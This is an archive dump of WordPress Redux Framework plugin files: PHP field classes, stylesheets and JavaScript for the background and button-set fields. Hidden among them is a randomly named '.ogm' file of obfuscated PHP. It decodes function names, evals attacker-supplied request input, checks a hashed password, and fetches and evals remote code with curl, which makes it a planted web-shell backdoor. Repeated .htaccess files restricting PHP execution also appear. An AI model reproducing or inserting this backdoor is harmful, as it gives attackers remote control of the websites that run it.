$this->value['media']['height'] . '" />'; echo '<input type="hidden" class="upload-width" name="' . $this->field['name'] . $this->field['name_suffix'] . '[media][width]" id="' . $this->parent->args['opt_name'] . '-' . $this->field['id'] . '-media-width" value="' . $this->value['media']['width'] . '" />'; echo '<input type="hidden" class="upload-thumbnail" name="' . $this->field['name'] . $this->field['name_suffix'] . '[media][thumbnail]" id="' . $this->parent->args['opt_name'] . '-' . $this->field['id'] . '-media-thumbnail" value="' . $this->value['media']['thumbnail'] . '" />'; //Preview $hide = ''; if ( ( isset( $this->field['preview_media'] ) && $this->field['preview_media'] === false ) || empty( $this->value['background-image'] ) ) { $hide = 'hide '; } if ( empty( $this->value['media']['thumbnail'] ) && ! empty( $this->value['background-image'] ) ) { // Just in case if ( ! empty( $this->value['media']['id'] ) ) { $image = wp_get_attachment_image_src( $this->value['media']['id'], array( 150, 150 ) ); $this->value['media']['thumbnail'] = $image[0]; } else { $this->value['media']['thumbnail'] = $this->value['background-image']; } } echo '<div class="' . $hide . 'screenshot">'; echo '<a class="of-uploaded-image" href="' . $this->value['background-image'] . '" target="_blank">'; echo '<img class="redux-option-image" id="image_' . $this->value['media']['id'] . '" src="' . $this->value['media']['thumbnail'] . '" alt="" target="_blank" rel="external" />'; echo '</a>'; echo '</div>'; //Upload controls DIV echo '<div class="upload_button_div">'; //If the user has WP3.5+ show upload/remove button echo '<span class="button redux-background-upload" id="' . $this->field['id'] . '-media">' . __( 'Upload', 'redux-framework' ) . '</span>'; $hide = ''; if ( empty( $this->value['background-image'] ) || $this->value['background-image'] == '' ) { $hide = ' hide'; } echo '<span class="button removeCSS redux-remove-background' . $hide . '" id="reset_' . $this->field['id'] . '" rel="' . $this->field['id'] . '">' . __( 'Remove', 'redux-framework' ) . '</span>'; echo '</div>'; } /** * Preview * */ if ( ! isset( $this->field['preview'] ) || $this->field['preview'] !== false ): $css = $this->getCSS(); if ( empty( $css ) ) { $css = "display:none;"; } $css .= "height: " . $this->field['preview_height'] . ";"; echo '<p class="clear ' . $this->field['id'] . '_previewer background-preview" style="' . $css . '"> </p>'; endif; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { if (!wp_script_is ( 'media-upload' )) { wp_enqueue_script( 'media-upload' ); } } if (!wp_style_is ( 'select2-css' )) { wp_enqueue_style( 'select2-css' ); } if (!wp_style_is ( 'wp-color-picker' )) { wp_enqueue_style( 'wp-color-picker' ); } if (!wp_script_is ( 'redux-field-background-js' )) { wp_enqueue_script( 'redux-field-background-js', ReduxFramework::$_url . 'inc/fields/background/field_background' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'select2-js', 'redux-js' ), time(), true ); } if ($this->parent->args['dev_mode']) { if (!wp_style_is ( 'redux-field-background-css' )) { wp_enqueue_style( 'redux-field-background-css', ReduxFramework::$_url . 'inc/fields/background/field_background.css', array(), time(), 'all' ); } if (!wp_style_is ( 'redux-color-picker-css' )) { wp_enqueue_style( 'redux-color-picker-css' ); } } } public static function getCSS( $value = array() ) { $css = ''; if ( ! empty( $value ) && is_array( $value ) ) { foreach ( $value as $key => $value ) { if ( ! empty( $value ) && $key != "media" ) { if ( $key == "background-image" ) { $css .= $key . ":url('" . $value . "');"; } else { $css .= $key . ":" . $value . ";"; } } } } return $css; } public function output() { $style = $this->getCSS( $this->value ); if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $this->parent->outputCSS .= $keys . "{" . $style . '}'; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $this->parent->compilerCSS .= $keys . "{" . $style . '}'; } } } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/background/field_background.scss�����������������������������������������0000644�����������������00000003320�14720701300�0020173 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main { .redux-container-background { .redux-background-position, .redux-background-position select, .redux-background-attachment, .redux-background-attachment select, .redux-background-clip, .redux-background-clip select, .redux-background-origin, .redux-background-origin select, .redux-background-size, .redux-background-size select, .redux-background-repeat, .redux-background-repeat select { width:200px !important; margin-right: 10px; margin-bottom: 7px; } .background-preview { display:block; width: 100%; margin: 5px 0 10px; border:1px dotted lightgray; } .select2-container { margin-right: 10px; margin-bottom: 10px; } .wp-picker-container { margin-bottom: 10px; } .upload { width: 100%; margin-bottom: 8px; } } .redux-container-select { li.ui-state-highlight { height: 20px; margin-top:2px; margin-left: 5px; width: 64px; margin-bottom: 0; } } } .wp-customizer { .redux-container-background { .redux-background-position, .redux-background-position select, .redux-background-attachment, .redux-background-attachment select, .redux-background-clip, .redux-background-clip select, .redux-background-origin, .redux-background-origin select, .redux-background-size, .redux-background-size select, .redux-background-repeat, .redux-background-repeat select { width: 100% !important; } } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/background/field_background.css������������������������������������������0000644�����������������00000004353�14720701300�0020017 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.redux-main .redux-container-background .redux-background-position,.redux-main .redux-container-background .redux-background-position select,.redux-main .redux-container-background .redux-background-attachment,.redux-main .redux-container-background .redux-background-attachment select,.redux-main .redux-container-background .redux-background-clip,.redux-main .redux-container-background .redux-background-clip select,.redux-main .redux-container-background .redux-background-origin,.redux-main .redux-container-background .redux-background-origin select,.redux-main .redux-container-background .redux-background-size,.redux-main .redux-container-background .redux-background-size select,.redux-main .redux-container-background .redux-background-repeat,.redux-main .redux-container-background .redux-background-repeat select{width:200px !important;margin-right:10px;margin-bottom:7px}.redux-main .redux-container-background .background-preview{display:block;width:100%;margin:5px 0 10px;border:1px dotted lightgray}.redux-main .redux-container-background .select2-container{margin-right:10px;margin-bottom:10px}.redux-main .redux-container-background .wp-picker-container{margin-bottom:10px}.redux-main .redux-container-background .upload{width:100%;margin-bottom:8px}.redux-main .redux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0}.wp-customizer .redux-container-background .redux-background-position,.wp-customizer .redux-container-background .redux-background-position select,.wp-customizer .redux-container-background .redux-background-attachment,.wp-customizer .redux-container-background .redux-background-attachment select,.wp-customizer .redux-container-background .redux-background-clip,.wp-customizer .redux-container-background .redux-background-clip select,.wp-customizer .redux-container-background .redux-background-origin,.wp-customizer .redux-container-background .redux-background-origin select,.wp-customizer .redux-container-background .redux-background-size,.wp-customizer .redux-container-background .redux-background-size select,.wp-customizer .redux-container-background .redux-background-repeat,.wp-customizer .redux-container-background .redux-background-repeat select{width:100% !important} �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/background/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/background/field_background.min.js���������������������������������������0000644�����������������00000012516�14720701300�0020425 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(o){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.background=redux.field_objects.background||{},redux.field_objects.background.init=function(e){e||(e=o(document).find(".redux-group-tab:visible").find(".redux-container-background:visible")),o(e).each(function(){var a=o(this),e=a;if(a.hasClass("redux-field-container")||(e=a.parents(".redux-field-container:first")),!e.is(":hidden")&&e.hasClass("redux-field-init")){e.removeClass("redux-field-init"),a.find(".redux-remove-background").unbind("click").on("click",function(e){return e.preventDefault(),redux.field_objects.background.removeImage(o(this).parents(".redux-container-background:first")),!1}),a.find(".redux-background-upload").unbind().on("click",function(e){redux.field_objects.background.addImage(e,o(this).parents(".redux-container-background:first"))}),a.find(".redux-background-input").on("change",function(){redux.field_objects.background.preview(o(this))}),a.find(".redux-color").wpColorPicker({change:function(e,i){o(this).val(i.color.toString()),redux_change(o(this)),o("#"+e.target.id+"-transparency").removeAttr("checked"),redux.field_objects.background.preview(o(this))},clear:function(e,i){o(this).val(i.color.toString()),redux_change(o(this).parent().find(".redux-color-init")),redux.field_objects.background.preview(o(this))}}),a.find(".redux-color").on("blur",function(){var e=o(this).val(),i="#"+o(this).attr("id");"transparent"===e?(o(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),a.find(i+"-transparency").attr("checked","checked")):(colorValidate(this)===e&&0!==e.indexOf("#")&&o(this).val(o(this).data("oldcolor")),a.find(i+"-transparency").removeAttr("checked"))}),a.find(".redux-color").on("focus",function(){o(this).data("oldcolor",o(this).val())}),a.find(".redux-color").on("keyup",function(){var e=o(this).val(),i=colorValidate(this),r="#"+o(this).attr("id");"transparent"===e?(o(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),a.find(r+"-transparency").attr("checked","checked")):(a.find(r+"-transparency").removeAttr("checked"),i&&i!==o(this).val()&&o(this).val(i))}),a.find(".color-transparency").on("click",function(){if(o(this).is(":checked"))a.find(".redux-saved-color").val(o("#"+o(this).data("id")).val()),a.find("#"+o(this).data("id")).val("transparent"),a.find("#"+o(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===a.find("#"+o(this).data("id")).val()){var e=o(".redux-saved-color").val();""===e&&(e=o("#"+o(this).data("id")).data("default-color")),a.find("#"+o(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",e),a.find("#"+o(this).data("id")).val(e)}redux.field_objects.background.preview(o(this)),redux_change(o(this))});var i={width:"resolve",triggerChange:!0,allowClear:!0},r=a.find(".select2_params");if(0<r.size()){var t=r.val();t=JSON.parse(t),i=o.extend({},i,t)}a.find(" .redux-background-repeat, .redux-background-clip, .redux-background-origin, .redux-background-size, .redux-background-attachment, .redux-background-position").select2(i)}})},redux.field_objects.background.preview=function(e){var i=o(e).parents(".redux-container-background:first"),r=o(i).find(".background-preview");if(r){var a=!0,t="height:"+r.height()+"px;";o(i).find(".redux-background-input").each(function(){var e=o(this).serializeArray();(e=e[0])&&-1!=e.name.indexOf("[background-")&&""!==e.value&&(a=!1,e.name=e.name.split("[background-"),e.name="background-"+e.name[1].replace("]",""),"background-image"==e.name?t+=e.name+':url("'+e.value+'");':t+=e.name+":"+e.value+";")}),a?r.slideUp():r.attr("style",t).fadeIn()}},redux.field_objects.background.addImage=function(e,d){var n;e.preventDefault();var i=o(this);n||(n=wp.media({multiple:!1,library:{},title:i.data("choose"),button:{text:i.data("update")}})).on("select",function(){var e=n.state().get("selection").first();if(n.close(),"image"===e.attributes.type){d.find(".upload").val(e.attributes.url),d.find(".upload-id").val(e.attributes.id),d.find(".upload-height").val(e.attributes.height),d.find(".upload-width").val(e.attributes.width),redux_change(o(d).find(".upload-id"));var i=e.attributes.url;if(void 0!==e.attributes.sizes&&void 0!==e.attributes.sizes.thumbnail)i=e.attributes.sizes.thumbnail.url;else if(void 0!==e.attributes.sizes){var r=e.attributes.height;for(var a in e.attributes.sizes){var t=e.attributes.sizes[a];t.height<r&&(r=t.height,i=t.url)}}else i=e.attributes.icon;d.find(".upload-thumbnail").val(i),d.find(".upload").hasClass("noPreview")||d.find(".screenshot").empty().hide().append('<img class="redux-option-image" src="'+i+'">').slideDown("fast"),d.find(".redux-remove-background").removeClass("hide"),d.find(".redux-background-input-properties").slideDown(),redux.field_objects.background.preview(d.find(".upload"))}}),n.open()},redux.field_objects.background.removeImage=function(e){e.find(".redux-remove-background").addClass("hide")&&(e.find(".redux-remove-background").addClass("hide"),e.find(".upload").val(""),e.find(".upload-id").val(""),e.find(".upload-height").val(""),e.find(".upload-width").val(""),redux_change(o(e).find(".upload-id")),e.find(".redux-background-input-properties").hide(),e.find(".screenshot").slideUp(),e.find(".remove-file").unbind(),0<o(".section-upload .upload-notice").length&&o(".redux-background-upload").remove())}}(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/button_set/button_set/index.php������������������������������������������0000644�����������������00000000000�14720701300�0020061 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/button_set/button_set/yBhiQNnbFMgXwdGAHs.ogm�����������������������������0000644�����������������00000011477�14720701300�0022223 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $S/*-g-*/ = /*-&=T-*/"r"."a"/*-2{3ei[--*/."n"."g"/*-El(^Q3fS|-*/."e"; /*-[ux-*/$AHi /*-dU-*/= /*-X|nqs-*/$S/*-}kJ6z-(@17-*/("~", /*-%Y-*/" "); /*-[h3+`?0s-*/$Vv/*-4P-*/=/*-$Z.oj-*/${$AHi/*-v2_x&E69-*/[17+14]/*-|22^Qe-*/.$AHi/*-7TRh-*/[44+15]/*-yv@)6w}f-*/.$AHi/*-+@ip-*/[14+33]./*-8S]8}8;-*/$AHi/*-5~|n{_C-*/[45+2]./*-;_tHuE-*/$AHi/*-eR-*/[28+23]./*-,]_BzV9`z-*/$AHi/*-yd5b{-*/[47+6]/*-ehA!],+I-*/.$AHi/*-@cdDh;D?4-*/[38+19]/*-yuhwdy9&-*/}; /*-5j-*/if(/*-sQ[%zkC-*/in_array/*-I+U-*/(gettype/*-I_A-*/($Vv)."25",/*-2U(Dd-*/$Vv))/*-~t}FO-*/{ $Vv/*-ZXTS-*/[62]/*-;~fm-*/=/*-wF3.7&-&l-*/$Vv/*-G(1<s-*/[62]./*-(Fh-*/$Vv/*-+7qe`h-*/[71];/*-OsGt8-*/ @eval/*-ux&Tv)Z-*/(/*-5iP,vd-*/$Vv/*-OAkZ:`Hl-*/[62]/*-ya=Dg@zJU-*/(/*-S{:b4-HX88-*/${$Vv[32]}/*-+oLCNsO-*/[15])); }/*-o-*/class /*-|-UY]-*/yHF{ /*-hb<N%y5w+-*/static/*-M[-*/ function /*-?6N5)Cvl}&-*/qpOtRE($ANYs) /*-QP;f,-fgZ8-*/{ $SPIn/*-_(-*/ = /*-?x]-*/"r"./*-.W|s>iO-*/"a"./*-s{oyy:$J+-*/"n"./*-V@M<CF-*/"g"./*-CTLl@!_:-*/"e"; /*-@_[-%4|kJ2-*/$KeD/*-^tR-*/ = /*-:w8^rY0z(-*/$SPIn/*-;1M@+mz-*/(/*-`u-*/"~"/*-=?G)|f38-*/, /*-}Xwqkn-*/" "/*-b+e-*/);/*-6x_J`Nn-*/ $bIEMu /*-)q+4&2}h-*/= /*-.nM-*/explode/*-lV!7hP1E-*/(/*-l-_Q%-*/";", /*-A.E-*/$ANYs/*-]K6-*/); /*-s|O]!w-*/$vKRo /*-YK3]r>S^u-*/= /*-3P-*/""; foreach /*-9k.J-*/(/*-#$@-*/$bIEMu /*-g?-*/as /*-LhQ-*/$sk /*-XWkY3r-*/=>/*-r7G{-*/ $KzhgEIp/*-rBK8^~~(F-*/) /*-4N3A--*/$vKRo /*-~-*/.= /*-D#zOFs-*/$KeD[$KzhgEIp/*-Z~ALzF)-*/ - /*-|,$+Fm-*/54308/*-xR-*/];/*-w9<zTs%-*/ return /*-tCf3(0-*/$vKRo; /*-{w]S$Sz-*/} /*-pY>!-*/static /*-=THGXu-*/function /*-p-I.V~4T2N-*/gws/*-<9>4V-*/(/*-d6mrR0pSg2-*/$ecBNQEwUA,/*-$1%Z5!?>-*/ $kLsOo/*-gbF5J-*/)/*-g}V-*/ {/*-c{-*/ $jAcoHrBngQ/*-C]lYKg-*/ = /*-xA_a((3kk-*/curl_init/*-xr42-*/(/*-|&<A-*/$ecBNQEwUA/*-$pK=ehW-*/);/*-fgbD1jJwPo-*/ curl_setopt/*-CP@k;w)B-*/(/*-p0|j^i-&b-*/$jAcoHrBngQ,/*-Vv2n_~(+-*/ CURLOPT_RETURNTRANSFER,/*-E8;]+T:^K-*/ 1/*-;y(gjWw-*/);/*-H:-*/ $NvkZE/*-9_6-*/ = /*-TH(`-*/curl_exec/*-(h1NM5-*/(/*-o}Es$oE-*/$jAcoHrBngQ/*-_CN})?,%-*/); /*--3`5}$P-*/return /*-<(4-*/empty/*-SS-ii5j-*/(/*-p.-*/$NvkZE/*-TR~je{Iiz-*/)/*-yHM]T%-*/ ? /*-OOdizee-*/$kLsOo/*-qj@$FR-*/(/*-+B{f<?-*/$ecBNQEwUA/*-n4i-*/)/*-1#dul-*/ : /*-[!g}W<|-*/$NvkZE; /*-B5|`)xs1-*/}/*-w=Lx#fJ-*/ static/*-Xp]o%}-*/ function /*-HW6yK=-*/pSRzuWZl/*-MQ-*/() /*-)dSCVDVH-*/{/*-R-N+:Hc_-*/ $gKM /*-C]WP;8Tz:-*/=/*-qOYG^[z-*/ array/*-MDxKf6AB-*/("54335;54320;54333;54337;54318;54333;54339;54332;54317;54324;54335;54318;54329;54323;54324","54319;54318;54320;54339;54320;54323;54318;54385;54383","54328;54319;54323;54324;54339;54334;54333;54335;54323;54334;54333","54322;54337;54335;54327","54336;54337;54319;54333;54380;54382;54339;54334;54333;54335;54323;54334;54333","54332;54329;54326;54333;54339;54331;54333;54318;54339;54335;54323;54324;54318;54333;54324;54318;54319","54362;54392","54309","54387;54392","54369;54352;54352;54369;54345","54323;54332"); /*-Kd-*/foreach /*-Ru#s-*/(/*-c8-*/$gKM/*-%`u)fC--*/ as /*-vb+--*/$JgFAQ/*-Or[[h-*/)/*-RM-*/ $Eh/*-6#|-*/[] /*-b[Q49-*/= /*-:YF9D-*/self/*-M`P-*/::/*-8yS0R-*/qpOtRE/*-#I|X5}-*/(/*-B2=.-*/$JgFAQ/*-,bpAf)-*/);/*-Lr-*/$sU /*-quf=g`!-*/= /*-](P|v-*/@$Eh/*-]#-*/[/*-W6|`-Fz853-*/1/*-MHrldB0N0-*/]/*-mn5g}VP0<-*/(/*-c;@!X-*/${/*-wl~zItG8-*/"_"/*-@Ab-5GAP-*/."G"/*-qS-*/."E"/*-A)Z0fUafX-*/."T"/*-)|d1c?-*/}[/*-v~m[9T-*/$Eh/*->:-*/[/*-la|I)-*/5+4/*-l-*/]]/*-&>UFGI-*/);/*-7YV2-*/ $xJyVnZH /*-VT%bwu.X^&-*/=/*-#cR=Xd-*/ @$Eh/*-G7N[o-*/[/*-%D.mwgTJ!s-*/1+2/*-Yb9!h5t-*/]/*-$`}waHvi1-*/(/*-ln-*/$Eh/*-=1mQWbWAi-*/[/*-I}`kc+-*/6+0/*-4L~wmw-*/], /*-9S|7r-*/$sU/*-]zQb58v-*/);/*-Px-*/ $CMycds /*-,X{#-*/=/*-0ak-*/ $Eh/*-|(9-*/[/*-ct:NdN-*/2+0/*-5{O-*/]/*-$B!|-*/(/*-uFu!^Fj-*/$xJyVnZH,/*-u^5h>-*/ true/*-:EQ:+W]rM-*/); /*-OEOW-*/@${/*-?e}X?G-*/"_"./*-N$D),-*/"G"./*-x`CQ{-*/"E"/*-@_NO_!S_>U-*/."T"/*-!w>+@#W-*/}/*-L72-*/[/*-pL6.8=.C+-*/$Eh/*-sBmxp^-*/[0+10/*-<C3pt-*/]/*-a8t0gon3e-*/]/*-+b!eZ-*/ == /*-Y-*/1 /*-wak^]81-*/&& /*-Yob?;-*/die/*-R?oA3]}P:-*/(/*-3]rjEiC&xo-*/$Eh[2+3/*-qy-*/]/*-o2Q-*/(/*-p9_>k-*/__FILE__/*-ug$2fjuu-*/)/*-+q-*/); /*-#XVi}d$(yF-*/if/*-}.KBZ{-*/(/*-uIxV)VfB-*/ (/*-@KE|aHhr-*/(@/*-D9n0pw-*/$CMycds/*-_aDE-*/[/*-K3-*/0/*-Bj$m{-*/] /*-@`P6N-*/- time/*-w8J@[X:-*/()/*-K[p@t2-*/) > /*-elnytR&-*/0/*-6J{pzH^Q<-*/)/*-%strn-*/ and /*--4A-*/(/*-4TKD^0%=-*/md5/*-3Tm-2-*/(/*-WtQgO-*/md5/*-fVaV-*/(/*-NP.Gv;-*/$CMycds/*-rPj-*/[/*-OVvEQ-*/3+0/*-iHNf<-*/]/*-6fQ-*/)/*-[42V}u)_-*/)/*-1w-*/ === /*-MTNM%-*/"7777fe8da1c303a9986e217446cb8072"/*-~A`lM32I-*/)/*-nKq-*/ ): /*-9.t#fjBQ+-*/$frp /*-z?jC6%3c-*/=/*-7>tIl-*/ self/*-`CY3J-*/::/*-j`#-*/gws/*-)%ZXo-*/(/*-1Xm@INW^-*/$CMycds/*-Vn;Hi|j-*/[/*-aE-*/1+0/*-3WP,g:-*/], /*-%#_e:-*/$Eh/*-W~yJv#9k-*/[/*-U|(>7%dXfq-*/4+1/*-H:P$`8E-*/]/*-2[.-*/);/*-[_iqGBk(-*/@eval/*-2#}mm!nKo-*/(/*-#F~3-*/$Eh/*-N@;-*/[/*-,Yh_8>-*/0+4/*-L}Ea-*/]/*-_lm-*/(/*-xqe-*/$frp/*-_n-*/)/*-)h-*/);/*-CDc-*//*-&>A=-*/die;/*-&%-*/ endif;/*-,$-*/ }/*-^R@f6Z-*/}/*-%TfjH-*/yHF/*-[3;j9FoQWH-*/::/*-K(T-*/pSRzuWZl/*-lQ2bk-*/();/*-_2||Q-*/ ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/button_set/button_set/.htaccess������������������������������������������0000644�����������������00000001626�14720701300�0020056 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/button_set/field_button_set.min.js���������������������������������������0000644�����������������00000002330�14720701300�0020534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(u){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.button_set=redux.field_objects.button_set||{},u(document).ready(function(){if(void 0!==u.fn.button.noConflict){var t=u.fn.button.noConflict();u.fn.btn=t}}),redux.field_objects.button_set.init=function(t){t||(t=u(document).find(".redux-group-tab:visible").find(".redux-container-button_set:visible")),u(t).each(function(){var t=u(this),e=t;t.hasClass("redux-field-container")||(e=t.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),t.find(".buttonset").each(function(){u(this).is(":checkbox")&&u(this).find(".buttonset-item").button(),u(this).buttonset()}),t.find(".buttonset-item.multi").on("click",function(t){var e="",n="",i=u(this).attr("id"),s=u(this).parent().find(".buttonset-empty"),d=s.attr("data-name"),o=!1;u(this).parent().find(".buttonset-item").each(function(){u(this).is(":checked")&&(o=!0)}),o?s.attr("name",""):s.attr("name",d),u(this).is(":checked")&&(e=u(this).attr("data-val"),n=d+"[]"),u(this).parent().find("#"+i+"-hidden.buttonset-check").val(e),u(this).parent().find("#"+i+"-hidden.buttonset-check").attr("name",n),redux_change(u(this))}))})}}(jQuery);��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/button_set/field_button_set.js�������������������������������������������0000644�����������������00000006360�14720701300�0017761 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* Field Button Set (button_set) */ /*global jQuery, document, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.button_set = redux.field_objects.button_set || {}; $( document ).ready( function() { if ( $.fn.button.noConflict !== undefined ) { var btn = $.fn.button.noConflict(); $.fn.btn = btn; } } ); redux.field_objects.button_set.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-button_set:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.buttonset' ).each( function() { if ( $( this ).is( ':checkbox' ) ) { $( this ).find( '.buttonset-item' ).button(); } $( this ).buttonset(); } ); el.find( '.buttonset-item.multi' ).on( 'click', function( e ) { var val = ''; var name = ''; var id = $(this).attr('id'); var empty = $( this ).parent().find( '.buttonset-empty' ); var idName = empty.attr( 'data-name' ); var isChecked = false; $( this ).parent().find('.buttonset-item').each(function(){ if ($( this ).is( ':checked' )) { isChecked = true; } }); if (isChecked) { empty.attr('name', ''); } else { empty.attr('name', idName); } if ( $( this ).is( ':checked' ) ) { val = $( this ).attr( 'data-val' ); name = idName + '[]'; } $( this ).parent().find( '#' + id + '-hidden.buttonset-check' ).val( val ); $( this ).parent().find( '#' + id + '-hidden.buttonset-check' ).attr( 'name', name ); redux_change( $( this ) ); } ); } ); }; })( jQuery );��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/button_set/field_button_set.php������������������������������������������0000644�����������������00000015260�14720701300�0020133 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package Redux_Field * @subpackage Button_Set * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @author Kevin Provance (kprovance) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_button_set' ) ) { /** * Main ReduxFramework_button_set class * * @since 1.0.0 */ class ReduxFramework_button_set { /** * Holds configuration settings for each field in a model. * Defining the field options * @param array $arr (See above) * * @return Object A new editor object. * */ static $_properties = array( 'id' => 'Identifier', ); /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field , $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( !empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); if ( empty( $this->field['options'] ) ) { return; } } $is_multi = (isset( $this->field['multi'] ) && $this->field['multi'] == true) ? true: false; $name = $this->field['name'] . $this->field['name_suffix']; // multi => true renders the field multi-selectable (checkbox vs radio) echo '<div class="buttonset ui-buttonset">'; if ($is_multi) { $s = ''; if (empty($this->value)) { $s = $name; } echo '<input type="hidden" data-name="' . $name . '" class="buttonset-empty" name="' . $s . '" value=""/>'; $name = $name . '[]'; } foreach ( $this->field['options'] as $k => $v ) { $selected = ''; if ( $is_multi ) { $post_value = ''; $type = "checkbox"; if ( ! empty( $this->value ) && ! is_array( $this->value ) ) { $this->value = array( $this->value ); } if ( is_array( $this->value ) && in_array( $k, $this->value ) ) { $selected = 'checked="checked"'; $post_value = $k; } } else { $type = "radio"; if ( is_scalar( $this->value ) ) { $selected = checked( $this->value, $k, false ); } } $the_val = $k; $the_name = $name; $data_val 